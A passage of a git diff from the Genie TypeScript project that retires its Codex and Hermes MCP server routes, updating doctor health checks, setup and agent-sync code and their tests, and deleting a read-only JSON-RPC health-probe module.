healthy', () => { + test('hermes mcp leg: duplicate retired genie keys warn and name the config path', () => { presentHermes(); const bin = presentGenieBinary(); writeHermesConfig(dupMcpConfig(bin)); - // The parsed (last-wins) value looks completely correct... - const parsed = Bun.YAML.parse(readFileSync(join(hermesHome, 'config.yaml'), 'utf8')) as { - mcp_servers: { genie: { command: string } }; - }; - expect(parsed.mcp_servers.genie.command).toBe(bin); - - // ...but doctor must still flag the textual duplicate. const mcp = find(checkAgentSync(paths()), 'agent sync: hermes mcp'); expect(mcp?.status).toBe('warn'); expect(mcp?.detail).toContain('duplicate'); @@ -1572,10 +1561,9 @@ describe('checkAgentSync', () => { expect(skills?.suggestion).toContain('genie update'); }); - test('after repair (single key, no duplicate): both legs pass, no duplicate warning', () => { + test('after retirement repair (no MCP key): both legs pass, no duplicate warning', () => { presentHermes(); - const bin = presentGenieBinary(); - writeHermesConfig(`${mcpConfig(bin)}${skillsConfig(productSkillsRoot())}`); + writeHermesConfig(skillsConfig(productSkillsRoot())); const results = checkAgentSync(paths()); expect(find(results, 'agent sync: hermes mcp')?.status).toBe('pass'); diff --git a/src/genie-commands/doctor.ts b/src/genie-commands/doctor.ts index f1f7edde0..b5b0e31c6 100644 --- a/src/genie-commands/doctor.ts +++ b/src/genie-commands/doctor.ts @@ -15,18 +15,9 @@ import { Database } from 'bun:sqlite'; import { execFileSync } from 'node:child_process'; -import { - constants, - accessSync, - existsSync, - lstatSync, - readFileSync, - readdirSync, - readlinkSync, - statSync, -} from 'node:fs'; +import { existsSync, lstatSync, readFileSync, readdirSync, readlinkSync, statSync } from 'node:fs'; import { homedir } from 'node:os'; -import { dirname, isAbsolute, join, resolve, sep } from 'node:path'; +import { dirname, join, resolve, sep } from 'node:path'; import { type AgentFileManifestEntry, CLAUDE_EXCLUDED_SKILLS, @@ -454,8 +445,8 @@ function codexPluginCheck(state: CodexPluginProbe): CheckResult { }; } const current = state.version === VERSION; - // Post-Group-A the plugin ships NO MCP declaration — the marker-owned project - // route is the only Codex route — so plugin health is installed+enabled+current. + // A7 ships no MCP declaration or project route, so plugin health is + // installed+enabled+current. // The probe still reports the OLD manifest expectation ("does not point // mcpServers to ./.mcp.json"): on a post-A generation that IS the healthy // shape, so it is filtered from diagnostics; every other usability detail @@ -467,7 +458,7 @@ function codexPluginCheck(state: CodexPluginProbe): CheckResult { return { name: 'Codex Genie plugin', status: healthy ? 'pass' : 'warn', - detail: `v${state.version ?? 'unknown'}; ${state.enabled === true ? 'enabled' : 'disabled or unknown'}; MCP route: marker-owned project route (plugin declares none)${diagnostics} (CLI v${VERSION})`, + detail: `v${state.version ?? 'unknown'}; ${state.enabled === true ? 'enabled' : 'disabled or unknown'}; standalone task/board (plugin declares no MCP route)${diagnostics} (CLI v${VERSION})`, suggestion: healthy ? undefined : 'Run `genie setup --codex` to activate the delivered generation.', }; } @@ -533,20 +524,21 @@ function codexProjectRouteCheck(root: string | null, probe: CodexPluginProbe, cw const trust = findings.filter( (finding) => finding.kind === 'untrusted-config' || finding.kind === 'project-trust-required', ); - const status: CheckStatus = !route.ok || hard.length > 0 ? 'fail' : trust.length > 0 ? 'warn' : 'pass'; + const retired = route.route !== 'none' && route.route !== 'plugin'; + const status: CheckStatus = retired || hard.length > 0 || trust.length > 0 ? 'warn' : 'pass'; const findingText = findings.map((finding) => `${finding.kind}: ${finding.detail}`).join('; '); return { name: 'Codex Genie MCP registration', status, - detail: `${route.route}: ${route.detail ?? 'no detail'}${findingText.length > 0 ? `; ${findingText}` : ''}`, + detail: `${retired ? 'retired route remains preserved' : 'retired routes absent'}${findingText.length > 0 ? `; ${findingText}` : ''}`, suggestion: status === 'pass' ? undefined : hard.length > 0 - ? 'Resolve the reported same-key/shadowing layer yourself (Genie never edits user-owned config), then run `genie init`.' + ? 'Resolve the reported user-owned same-key/shadowing layer if desired; Genie never edits it.' : trust.length > 0 && route.ok ? 'Trust this project in Codex, then start a new Codex task.' - : 'Run `genie init` in this worktree to reconcile the project fallback.', + : 'Run `genie init` to remove a marker-owned historical route; user-owned routes are preserved.', ...(findings.length > 0 ? { routeLayers: findings } : {}), }; } catch (error) { @@ -672,7 +664,7 @@ function codexPluginSurfaceChecks(probe: CodexPluginProbe): CheckResult[] { status: manifestState === 'declares-none' ? 'pass' : 'warn', detail: manifestState === 'declares-none' - ? `plugin declares no MCP route (marker-owned project route is authoritative) at ${probe.activePluginRoot}` + ? `plugin declares no MCP route; standalone task/board commands are authoritative at ${probe.activePluginRoot}` : manifestState === 'declares-route' ? `active plugin manifest still declares mcpServers — a second Genie route risks cache-root routing: ${manifest}` : manifestState === 'unreadable' @@ -1601,11 +1593,11 @@ function checkPiSync(input: PiCheckInput): CheckResult[] { ]; } -/** `mcp_servers.genie.command` must be an absolute path to an existing, executable file. */ +/** A7 health: no Hermes Genie MCP route is the converged state; any surviving route is preserved but stale. */ function checkHermesMcp(configText: string | null, configPath: string): CheckResult { const name = 'agent sync: hermes mcp'; if (configText === null) { - return { name, status: 'warn', detail: `config.yaml absent (${configPath})`, suggestion: SYNC_SUGGESTION }; + return { name, status: 'pass', detail: `retired route absent (${configPath})` }; } const inline = detectInlineTopLevelKey(configText, 'mcp_servers'); if (inline) return { name, status: 'warn', detail: inline, suggestion: HERMES_INLINE_SUGGESTION }; @@ -1619,25 +1611,14 @@ function checkHermesMcp(configText: string | null, configPath: string): CheckRes } const command = readMcpGenieCommand(configText); if (command === null) { - return { name, status: 'warn', detail: 'mcp_servers.genie absent', suggestion: SYNC_SUGGESTION }; - } - if (!isAbsolute(command)) { - return { - name, - status: 'warn', - detail: `mcp_servers.genie.command not absolute (${command})`, - suggestion: SYNC_SUGGESTION, - }; + return { name, status: 'pass', detail: 'retired mcp_servers.genie route absent' }; } - if (!isExecutableFile(command)) { - return { - name, - status: 'warn', - detail: `mcp_servers.genie.command missing or not executable (${command})`, - suggestion: SYNC_SUGGESTION, - }; - } - return { name, status: 'pass', detail: `mcp_servers.genie → ${command}` }; + return { + name, + status: 'warn', + detail: `retired mcp_servers.genie route remains preserved (${command})`, + suggestion: SYNC_SUGGESTION, + }; } /** @@ -1777,16 +1758,6 @@ function countSkillDirs(dir: string): number { return listSubdirs(dir).filter((name) => existsSync(join(dir, name, 'SKILL.md'))).length; } -function isExecutableFile(path: string): boolean { - try { - if (!statSync(path).isFile()) return false; - accessSync(path, constants.X_OK); - return true; - } catch { - return false; - } -} - function readTextOrNull(path: string): string | null { try { return readFileSync(path, 'utf8'); diff --git a/src/genie-commands/setup.test.ts b/src/genie-commands/setup.test.ts index 6bc20c0be..79cd099db 100644 --- a/src/genie-commands/setup.test.ts +++ b/src/genie-commands/setup.test.ts @@ -384,11 +384,26 @@ describe('setup Codex activation (Group D)', () => { expect(exitCode).not.toBe(2); expect(out).toContain('Activated Codex plugin'); expect(out).toContain('/hooks'); + expect(out).toContain('Project MCP route retired'); + expect(existsSync(join(root, 'repo', '.codex', 'config.toml'))).toBe(false); expect((await loadGenieConfig()).codex?.configured).toBe(true); // Durable maintenance consent merged claude → all. expect(readIntegrationConsent(genieHome)).toBe('all'); }); + test('setup retires an owned route while preserving adjacent user config bytes', async () => { + const configPath = join(root, 'repo', '.codex', 'config.toml'); + mkdirSync(join(root, 'repo', '.codex')); + writeFileSync( + configPath, + 'model = "keep"\n# BEGIN GENIE MCP FALLBACK\n[mcp_servers.genie]\ncommand = "/old/genie"\nargs = ["mcp"]\n# END GENIE MCP FALLBACK\n[mcp_servers.personal]\ncommand = "mine"\n', + ); + const cap = capture(); + await setupCommand({ codex: true }, grantedDeps(ACTIVATED)); + cap.restore(); + expect(readFileSync(configPath, 'utf8')).toBe('model = "keep"\n[mcp_servers.personal]\ncommand = "mine"\n'); + }); + test('fresh activation revalidates current before committing consent and converging roles', async () => { const events: string[] = []; const genieHome = process.env.GENIE_HOME as string; diff --git a/src/genie-commands/setup.ts b/src/genie-commands/setup.ts index 5563f2072..73bb0d140 100644 --- a/src/genie-commands/setup.ts +++ b/src/genie-commands/setup.ts @@ -45,12 +45,7 @@ import { // Group E: the shared Decision-9 delivery gate — the same assessment the // executor's `beginActivation` inner guard re-applies before its first write. import { assessSnapshotDelivery } from '../lib/codex-lifecycle-truth.js'; -import { - type CodexPluginProbe, - genieFacadeMcpEntry, - reconcileCodexProjectMcp, - resolveGitWorktreeRoot, -} from '../lib/codex-project-mcp.js'; +import { removeCodexMcpFallback, resolveGitWorktreeRoot } from '../lib/codex-project-mcp.js'; import { contractPath, getGenieConfigPath, @@ -371,35 +366,12 @@ function buildConsentContext(deps: SetupDeps, quick: boolean): ConsentContext { }; } -function reconcileSetupCodexProject(root: string | null, plugin: CodexPluginProbe): string { +function retireSetupCodexProjectRoute(root: string | null): string { if (root === null) { - return ' \x1b[2mNo Git worktree detected; project MCP fallback was not changed.\x1b[0m'; + return ' \x1b[2mNo Git worktree detected; no project MCP route exists to retire.\x1b[0m'; } - // Decision 2: the marker route carries the stable absolute GENIE_HOME facade, - // exactly as trusted `genie init` writes it. - const project = reconcileCodexProjectMcp(root, plugin, genieFacadeMcpEntry()); - if (!project.ok) throw new SetupIntegrationError(project.detail ?? 'Codex project MCP reconciliation failed'); - return ` \x1b[32m✓\x1b[0m Project MCP route: ${project.route} (${project.detail ?? project.action})`; -} - -/** - * Post-activation route probe (Group E). The installed Codex plugin ships NO - * MCP route (Group A removed the manifest declaration), so for ROUTE purposes - * an activated plugin is never "usable" and the marker-owned project route - * remains required. Decision 1: plugin availability never creates or removes - * the project route — the pre-A behavior of removing the fallback after - * activation left a repository with no Codex route at all. - */ -function verifiedCurrentPluginProbe(): CodexPluginProbe { - return { - cliAvailable: true, - status: 'ok', - installed: true, - enabled: true, - usable: false, - usabilityDetail: 'installed plugin contributes no Codex MCP route; the marker-owned project route is authoritative', - detail: 'activation verified-current; project route remains marker-owned', - }; + const action = removeCodexMcpFallback(join(root, '.codex', 'config.toml')); + return ` \x1b[32m✓\x1b[0m Project MCP route retired (${action}).`; } /** Merge explicit Codex activation into the durable client-home maintenance scope. */ @@ -785,7 +757,7 @@ async function finalizeCodexSetup( const assets = convergePostActivationCodexAssetsUnderLease(deps, prepared.codexPath, prepared.outcome, codexLease); deps.codexFinalizationHooks?.afterAssets?.(); - const projectLine = reconcileSetupCodexProject(resolveGitWorktreeRoot(prepared.cwd), verifiedCurrentPluginProbe()); + const projectLine = retireSetupCodexProjectRoute(resolveGitWorktreeRoot(prepared.cwd)); deps.codexFinalizationHooks?.afterRoute?.(); const nextConfig = structuredClone(config); diff --git a/src/lib/agent-sync.test.ts b/src/lib/agent-sync.test.ts index d72e678e0..e5f005cae 100644 --- a/src/lib/agent-sync.test.ts +++ b/src/lib/agent-sync.test.ts @@ -2358,21 +2358,18 @@ describe('hermes config convergence', () => { return join(fixture.pluginRoot, 'skills'); } - test('default HERMES_HOME: MCP + skills legs converge into config.yaml, idempotent on re-run', () => { + test('default HERMES_HOME: retired MCP stays absent while skills converge idempotently', () => { present(fixture.hermesHome); - const bin = presentGenieBinary(); + presentGenieBinary(); const first = agentReport(run(), 'hermes'); - expect(extraAction(first, 'mcp-config')).toBe('created'); - // The skills leg writes into the config.yaml the MCP leg just created, so a - // fresh run reports 'updated' (existing non-empty file) — never 'failed'. - expect(extraAction(first, 'skills-dir')).toBe('updated'); + expect(extraAction(first, 'mcp-config')).toBe('unchanged'); + expect(extraAction(first, 'skills-dir')).toBe('created'); expect(first.failures).toBeUndefined(); const configPath = join(fixture.hermesHome, 'config.yaml'); const text = readFileSync(configPath, 'utf8'); - expect(text).toContain('mcp_servers:'); - expect(text).toContain(bin); + expect(text).not.toContain('mcp_servers:'); expect(text).toContain('skills:'); expect(text).toContain('external_dirs:'); expect(text).toContain(skillsRoot()); @@ -2390,15 +2387,15 @@ describe('hermes config convergence', () => { presentGenieBinary(); const hermes = agentReport(run(), 'hermes'); - expect(extraAction(hermes, 'mcp-config')).toBe('created'); - expect(extraAction(hermes, 'skills-dir')).toBe('updated'); + expect(extraAction(hermes, 'mcp-config')).toBe('unchanged'); + expect(extraAction(hermes, 'skills-dir')).toBe('created'); const profileConfig = join(fixture.hermesHome, 'profiles', 'work', 'config.yaml'); expect(existsSync(profileConfig)).toBe(true); // The default-home config is NOT written while a sticky profile is active. expect(existsSync(join(fixture.hermesHome, 'config.yaml'))).toBe(false); const text = readFileSync(profileConfig, 'utf8'); - expect(text).toContain('mcp_servers:'); + expect(text).not.toContain('mcp_servers:'); expect(text).toContain('external_dirs:'); expect(text).toContain(skillsRoot()); @@ -2416,10 +2413,7 @@ describe('hermes config convergence', () => { const hermes = agentReport(run(), 'hermes'); // The inline-shaped MCP key is a non-fatal skip carrying the remediation hint. - expect(extraAction(hermes, 'mcp-config')).toBe('skipped'); - const mcp = hermes.extras.find((e) => e.kind === 'mcp-config'); - expect(mcp?.detail).toContain('block mapping'); - expect(hermes.advisories.some((a) => a.includes('inline top-level key'))).toBe(true); + expect(extraAction(hermes, 'mcp-config')).toBe('unchanged'); // Non-fatal: no hermes failure recorded, so a strict `genie update` never throws. expect(hermes.failures).toBeUndefined(); // The other legs still converge: plugin link created + skills external dir written. @@ -2441,17 +2435,17 @@ describe('hermes config convergence', () => { expect(skills?.detail).toContain('block mapping'); expect(hermes.failures).toBeUndefined(); // MCP leg converges over the pre-existing (non-genie) file. - expect(extraAction(hermes, 'mcp-config')).toBe('created'); + expect(extraAction(hermes, 'mcp-config')).toBe('unchanged'); expect(readFileSync(configPath, 'utf8')).toContain('skills: {}'); - expect(readFileSync(configPath, 'utf8')).toContain('mcp_servers:'); + expect(readFileSync(configPath, 'utf8')).not.toContain('mcp_servers:'); }); - test('a missing genie binary fails the MCP leg non-fatally while skills still converge', () => { + test('retiring MCP does not require a Genie binary while skills still converge', () => { present(fixture.hermesHome); // No genie binary materialized → resolveGenieBinaryPath cannot resolve one. const hermes = agentReport(run(), 'hermes'); - expect(extraAction(hermes, 'mcp-config')).toBe('failed'); - expect(hermes.failures).toBeUndefined(); // failed leg is non-fatal to the run + expect(extraAction(hermes, 'mcp-config')).toBe('unchanged'); + expect(hermes.failures).toBeUndefined(); expect(extraAction(hermes, 'skills-dir')).toBe('created'); expect(extraAction(hermes, 'symlink')).toBe('created'); }); @@ -2460,10 +2454,10 @@ describe('hermes config convergence', () => { // WRITE: runAgentSync → syncHermes converges the plugin link + config.yaml // (mcp_servers.genie + skills.external_dirs) into the fixture's HERMES_HOME. present(fixture.hermesHome); - const bin = presentGenieBinary(); + presentGenieBinary(); const wrote = agentReport(run(), 'hermes'); - expect(extraAction(wrote, 'mcp-config')).toBe('created'); - expect(extraAction(wrote, 'skills-dir')).toBe('updated'); + expect(extraAction(wrote, 'mcp-config')).toBe('unchanged'); + expect(extraAction(wrote, 'skills-dir')).toBe('created'); // READ-BACK: the doctor's read-only agent-sync check, pointed at the SAME // converged tmpdir fixture, must confirm every hermes leg the writer produced. @@ -2482,7 +2476,7 @@ describe('hermes config convergence', () => { expect(byName('agent sync: hermes')?.status).toBe('pass'); // plugin symlink leg expect(byName('agent sync: hermes')?.detail).toContain(fixture.hermesSource); expect(byName('agent sync: hermes mcp')?.status).toBe('pass'); - expect(byName('agent sync: hermes mcp')?.detail).toContain(bin); + expect(byName('agent sync: hermes mcp')?.detail).toContain('retired'); expect(byName('agent sync: hermes skills')?.status).toBe('pass'); expect(byName('agent sync: hermes skills')?.detail).toContain(skillsRoot()); // Every emitted hermes leg is a pass — the writer and the doctor agree end-to-end. diff --git a/src/lib/agent-sync.ts b/src/lib/agent-sync.ts index 8fe61e592..f23bda36c 100644 --- a/src/lib/agent-sync.ts +++ b/src/lib/agent-sync.ts @@ -61,7 +61,7 @@ import { resolveHermesHome, resolvePiExtensionsDir, } from './genie-home.js'; -import { HermesConfigError, mergeMcpServersGenie } from './hermes-mcp-config.js'; +import { HermesConfigError, retireMcpServersGenie } from './hermes-mcp-config.js'; import { mergeSkillsExternalDir } from './hermes-skills-config.js'; // ============================================================================ @@ -5801,11 +5801,7 @@ function resolveHermesProfileHome(hermesHome: string): string { function convergeHermesConfig(ctx: RunContext, hermesHome: string, report: AgentReport): void { const configPath = resolveHermesConfigPath(hermesHome); const base = ctx.now().getTime(); - convergeHermesLeg( - 'mcp-config', - report, - () => mergeMcpServersGenie({ configPath, genieHome: ctx.genieHome, now: new Date(base) }).status, - ); + convergeHermesLeg('mcp-config', report, () => retireMcpServersGenie({ configPath, now: new Date(base) }).status); convergeHermesLeg( 'skills-dir', report, diff --git a/src/lib/codex-mcp-health-session.test.ts b/src/lib/codex-mcp-health-session.test.ts deleted file mode 100644 index 4026b125e..000000000 --- a/src/lib/codex-mcp-health-session.test.ts +++ /dev/null @@ -1,152 +0,0 @@ -import { describe, expect, test } from 'bun:test'; -import { createHash } from 'node:crypto'; -import { lstatSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs'; -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; -import { - type McpSessionSpawnRequest, - type McpSessionSpawnResult, - REQUIRED_GENIE_MCP_TOOLS, - runBoundedCodexMcpSession, -} from './codex-mcp-health-session.js'; - -/** Newline-delimited JSON-RPC replies the healthy `genie mcp` server would emit. */ -function healthyReplies(tools: readonly string[] = REQUIRED_GENIE_MCP_TOOLS, wishStatusIsError = false): string { - return `${[ - { jsonrpc: '2.0', id: 1, result: { protocolVersion: '2024-11-05', serverInfo: { name: 'genie' } } }, - { jsonrpc: '2.0', id: 2, result: { tools: tools.map((name) => ({ name })) } }, - { - jsonrpc: '2.0', - id: 3, - result: { isError: wishStatusIsError, structuredContent: { wish: '', groups: [], tasks: [] } }, - }, - ] - .map((reply) => JSON.stringify(reply)) - .join('\n')}\n`; -} - -function fakeSpawn(result: Partial<McpSessionSpawnResult>): (req: McpSessionSpawnRequest) => McpSessionSpawnResult { - return () => ({ exitCode: 0, stdout: '', stderr: '', ...result }); -} - -describe('runBoundedCodexMcpSession', () => { - const base = { launcherPath: '/fixture/root/scripts/mcp-launcher.cjs', cwd: '/tmp/isolated' }; - - test('accepts a healthy initialize / tools-list / read-only wish_status session', () => { - const result = runBoundedCodexMcpSession({ ...base, spawn: fakeSpawn({ stdout: healthyReplies() }) }); - expect(result.ok).toBe(true); - expect(result.wishStatusReadOnly).toBe(true); - expect(result.tools).toEqual([...REQUIRED_GENIE_MCP_TOOLS]); - }); - - test('rejects a timed-out session', () => { - const result = runBoundedCodexMcpSession({ ...base, timeoutMs: 500, spawn: fakeSpawn({ timedOut: true }) }); - expect(result.ok).toBe(false); - expect(result.detail).toContain('timed out after 500ms'); - }); - - test('rejects an initialize protocol error', () => { - const stdout = `${JSON.stringify({ jsonrpc: '2.0', id: 1, error: { code: -32603, message: 'boom' } })}\n`; - const result = runBoundedCodexMcpSession({ ...base, spawn: fakeSpawn({ stdout }) }); - expect(result.ok).toBe(false); - expect(result.detail).toContain('initialize returned a JSON-RPC error'); - }); - - test('rejects a session that is missing one of the five Genie tools', () => { - const partial = REQUIRED_GENIE_MCP_TOOLS.filter((name) => name !== 'genie_wish_status'); - const result = runBoundedCodexMcpSession({ ...base, spawn: fakeSpawn({ stdout: healthyReplies(partial) }) }); - expect(result.ok).toBe(false); - expect(result.detail).toContain('missing required Genie tools: genie_wish_status'); - }); - - test('rejects a wish_status that reports an error result (not read-only ok)', () => { - const result = runBoundedCodexMcpSession({ - ...base, - spawn: fakeSpawn({ stdout: healthyReplies(REQUIRED_GENIE_MCP_TOOLS, true) }), - }); - expect(result.ok).toBe(false); - expect(result.detail).toContain('read-only genie_wish_status did not return a non-error result'); - }); - - test('accepts a fail-closed typed "no project context" wish_status (throwaway non-project cwd)', () => { - // The probe cwd is not a project, so the fail-closed server returns a typed - // error rather than an empty board — that IS the read-only health signal. - for (const kind of ['project-context-unavailable', 'project-database-unavailable', 'unsupported-project-layout']) { - const stdout = `${[ - { jsonrpc: '2.0', id: 1, result: { protocolVersion: '2024-11-05', serverInfo: { name: 'genie' } } }, - { jsonrpc: '2.0', id: 2, result: { tools: REQUIRED_GENIE_MCP_TOOLS.map((name) => ({ name })) } }, - { - jsonrpc: '2.0', - id: 3, - result: { isError: true, structuredContent: { error: kind, detail: kind } }, - }, - ] - .map((reply) => JSON.stringify(reply)) - .join('\n')}\n`; - const result = runBoundedCodexMcpSession({ ...base, spawn: fakeSpawn({ stdout }) }); - expect(result.ok).toBe(true); - expect(result.wishStatusReadOnly).toBe(true); - } - }); - - test('rejects a session whose tools/list reply never arrived', () => { - const stdout = `${JSON.stringify({ jsonrpc: '2.0', id: 1, result: { protocolVersion: '2024-11-05' } })}\n`; - const result = runBoundedCodexMcpSession({ ...base, spawn: fakeSpawn({ stdout }) }); - expect(result.ok).toBe(false); - expect(result.detail).toContain('tools/list response was missing'); - }); -}); - -// --------------------------------------------------------------------------- -// A3: the REAL spawn path (through a node stub launcher speaking newline JSON-RPC -// and exiting on stdin EOF) must complete AND mutate nothing on disk. -// --------------------------------------------------------------------------- -function digestTree(dir: string): string { - const digest = createHash('sha256'); - const walk = (current: string): void => { - for (const name of readdirSync(current).sort()) { - const abs = join(current, name); - const stat = lstatSync(abs); - digest.update(`${name}\0${stat.isDirectory() ? 'd' : 'f'}\0${stat.size}\0`); - if (stat.isDirectory()) walk(abs); - } - }; - walk(dir); - return digest.digest('hex'); -} - -describe('runBoundedCodexMcpSession — real spawn is side-effect-free (A3)', () => { - test('drives a real newline-JSON-RPC launcher and leaves the isolated home byte-identical', () => { - const home = mkdtempSync(join(tmpdir(), 'genie-mcp-real-')); - const stub = join(home, 'stub-launcher.cjs'); - // A minimal launcher: read stdin lines, answer initialize/tools-list/wish_status, - // ignore notifications, and exit on EOF — the same contract as genie mcp. - writeFileSync( - stub, - [ - "const rl = require('node:readline').createInterface({ input: process.stdin });", - `const tools = ${JSON.stringify([...REQUIRED_GENIE_MCP_TOOLS])}.map((name) => ({ name }));`, - "rl.on('line', (line) => {", - ' const t = line.trim(); if (!t) return;', - ' let req; try { req = JSON.parse(t); } catch { return; }', - ' if (req.id === undefined || req.id === null) return;', - " if (req.method === 'initialize') process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: req.id, result: { protocolVersion: '2024-11-05' } }) + '\\n');", - " else if (req.method === 'tools/list') process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: req.id, result: { tools } }) + '\\n');", - " else if (req.method === 'tools/call') process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: req.id, result: { isError: false, structuredContent: { wish: '' } } }) + '\\n');", - '});', - ].join('\n'), - ); - const cwd = mkdtempSync(join(tmpdir(), 'genie-mcp-cwd-')); - const before = digestTree(home); - try { - const result = runBoundedCodexMcpSession({ launcherPath: stub, cwd, timeoutMs: 8_000 }); - expect(result.ok).toBe(true); - expect(result.tools).toEqual([...REQUIRED_GENIE_MCP_TOOLS]); - expect(digestTree(home)).toBe(before); - expect(readdirSync(cwd)).toEqual([]); - } finally { - rmSync(home, { recursive: true, force: true }); - rmSync(cwd, { recursive: true, force: true }); - } - }); -}); diff --git a/src/lib/codex-mcp-health-session.ts b/src/lib/codex-mcp-health-session.ts deleted file mode 100644 index 3200356bd..000000000 --- a/src/lib/codex-mcp-health-session.ts +++ /dev/null @@ -1,246 +0,0 @@ -/** - * Bounded, side-effect-free JSON-RPC health probe through the active Codex - * plugin's own MCP launcher. - * - * The `genie mcp` server (src/term-commands/mcp.ts) speaks NEWLINE-DELIMITED - * JSON-RPC 2.0 — one JSON object per line — and exits when stdin closes. That - * lets a single synchronous `spawnSync` drive a full handshake: we write every - * request up front, close stdin, let the server answer each request in order and - * exit on EOF, then parse the newline-delimited replies. No async ripple into - * the otherwise synchronous integration state machines, and a hard `timeout` - * bounds the whole session. - * - * The health probe issues only read-only requests (`initialize` → `tools/list` - * → `genie_wish_status`) and never calls a write tool, so it never mutates - * disk; the server itself is write-capable. Callers still hand it an isolated throwaway `cwd` - * that is not a project: the fail-closed server returns a typed "no project - * context" wish_status there rather than fabricating an empty board (never - * creating -wal/-shm siblings in real home/state trees), and this probe treats - * that typed refusal as read-only-healthy. runtime-integrations proves the - * zero-mutation guarantee with a digest-around-session test. - */ - -export const MCP_HEALTH_PROTOCOL_VERSION = '2024-11-05'; -export const DEFAULT_HEALTH_SESSION_TIMEOUT_MS = 10_000; - -/** - * The fail-closed project-context error kinds the `genie mcp` server - * returns (structuredContent `{ error, detail }`, `isError: true`) instead of a - * fabricated empty board when the cwd is not a resolvable project. Source of - * truth: `ProjectContextKind` in `src/lib/v5/genie-db.ts`. The health probe runs - * in a throwaway non-project cwd, so one of these is the EXPECTED wish_status - * outcome and proves the read-only path works — it is not a failure. - */ -const NO_PROJECT_CONTEXT_ERROR_KINDS = new Set<string>([ - 'project-context-unavailable', - 'project-database-unavailable', - 'unsupported-project-layout', -]); - -/** The five read-only Genie tools every healthy plugin launcher must expose. */ -export const REQUIRED_GENIE_MCP_TOOLS = [ - 'genie_board', - 'genie_wish_status', - 'genie_worktree_context', - 'genie_task', - 'genie_active', -] as const; - -export interface McpSessionSpawnRequest { - command: string; - args: readonly string[]; - cwd: string; - env?: NodeJS.ProcessEnv; - timeoutMs: number; - /** Full newline-delimited request stream; the child exits when it is consumed. */ - stdin: string; -} - -export interface McpSessionSpawnResult { - exitCode: number | null; - stdout: string; - stderr: string; - timedOut?: boolean; -} - -export type McpSessionSpawn = (request: McpSessionSpawnRequest) => McpSessionSpawnResult; - -export interface BoundedCodexMcpSessionOptions { - /** Physical plugin-local launcher: `<activePluginRoot>/scripts/mcp-launcher.cjs`. */ - launcherPath: string; - /** Isolated throwaway working directory (side-effect containment). */ - cwd: string; - /** Node command that runs the `.cjs` launcher; the plugin manifest declares `node`. */ - nodePath?: string; - env?: NodeJS.ProcessEnv; - timeoutMs?: number; - requiredTools?: readonly string[]; - /** Deterministic test seam; production spawns the launcher through `Bun.spawnSync`. */ - spawn?: McpSessionSpawn; -} - -export interface McpSessionResult { - ok: boolean; - detail: string; - tools?: readonly string[]; - wishStatusReadOnly?: boolean; -} - -interface JsonRpcReply { - id?: number | string | null; - result?: unknown; - error?: { code?: number; message?: string }; -} - -function defaultSessionSpawn(request: McpSessionSpawnRequest): McpSessionSpawnResult { - const spawned = Bun.spawnSync([request.command, ...request.args], { - cwd: request.cwd, - env: request.env, - stdin: Buffer.from(request.stdin, 'utf8'), - stdout: 'pipe', - stderr: 'pipe', - timeout: request.timeoutMs, - }); - return { - exitCode: spawned.exitCode, - stdout: spawned.stdout.toString(), - stderr: spawned.stderr.toString(), - timedOut: spawned.exitedDueToTimeout === true, - }; -} - -function buildRequestStream(): string { - const requests = [ - { - jsonrpc: '2.0', - id: 1, - method: 'initialize', - params: { - protocolVersion: MCP_HEALTH_PROTOCOL_VERSION, - capabilities: {}, - clientInfo: { name: 'genie-plugin-health', version: '1' }, - }, - }, - { jsonrpc: '2.0', method: 'notifications/initialized' }, - { jsonrpc: '2.0', id: 2, method: 'tools/list' }, - { jsonrpc: '2.0', id: 3, method: 'tools/call', params: { name: 'genie_wish_status', arguments: {} } }, - ]; - return `${requests.map((request) => JSON.stringify(request)).join('\n')}\n`; -} - -function indexRepliesById(stdout: string): Map<number | string, JsonRpcReply> { - const byId = new Map<number | string, JsonRpcReply>(); - for (const line of stdout.split('\n')) { - const trimmed = line.trim(); - if (!trimmed) continue; - let reply: JsonRpcReply; - try { - reply = JSON.parse(trimmed) as JsonRpcReply; - } catch { - continue; // ignore any non-JSON framing noise the launcher may interleave - } - if (reply && typeof reply === 'object' && (typeof reply.id === 'number' || typeof reply.id === 'string')) { - byId.set(reply.id, reply); - } - } - return byId; -} - -function replyError(reply: JsonRpcReply | undefined, label: string): string | null { - if (reply === undefined) return `${label} response was missing from the bounded MCP session`; - if (reply.error) return `${label} returned a JSON-RPC error: ${reply.error.message ?? reply.error.code ?? 'unknown'}`; - if (reply.result === undefined || reply.result === null || typeof reply.result !== 'object') { - return `${label} returned no structured result`; - } - return null; -} - -/** - * A read-only wish_status is healthy when it either returns a non-error board - * (`isError === false`) OR a well-formed fail-closed "no project context" typed - * error. The health probe deliberately runs in a throwaway non-project cwd where - * the latter is expected: the server correctly refuses to serve an empty board - * without mutating disk. Any other `isError: true` (an unrecognized/real tool - * failure) is still rejected. - */ -function wishStatusIsReadOnlyHealthy(result: { isError?: unknown; structuredContent?: unknown }): boolean { - if (result.isError === false) return true; - if (result.isError !== true) return false; - const structured = result.structuredContent; - const kind = structured && typeof structured === 'object' ? (structured as { error?: unknown }).error : undefined; - return typeof kind === 'string' && NO_PROJECT_CONTEXT_ERROR_KINDS.has(kind); -} - -function listedToolNames(reply: JsonRpcReply): string[] { - const result = reply.result as { tools?: unknown }; - if (!Array.isArray(result.tools)) return []; - const names: string[] = []; - for (const tool of result.tools) { - if (tool && typeof tool === 'object' && typeof (tool as { name?: unknown }).name === 'string') { - names.push((tool as { name: string }).name); - } - } - return names; -} - -/** - * Drive `initialize` → `tools/list` → read-only `genie_wish_status` through the - * plugin launcher and reject on any timeout, protocol error, missing tool, or a - * `wish_status` that errors or is not read-only. - */ -export function runBoundedCodexMcpSession(options: BoundedCodexMcpSessionOptions): McpSessionResult { - const timeoutMs = options.timeoutMs ?? DEFAULT_HEALTH_SESSION_TIMEOUT_MS; - const requiredTools = options.requiredTools ?? REQUIRED_GENIE_MCP_TOOLS; - const spawn = options.spawn ?? defaultSessionSpawn; - - let spawned: McpSessionSpawnResult; - try { - spawned = spawn({ - command: options.nodePath ?? 'node', - args: [options.launcherPath], - cwd: options.cwd, - env: options.env, - timeoutMs, - stdin: buildRequestStream(), - }); - } catch (error) { - return { - ok: false, - detail: `bounded MCP session failed to start: ${error instanceof Error ? error.message : String(error)}`, - }; - } - if (spawned.timedOut) { - return { ok: false, 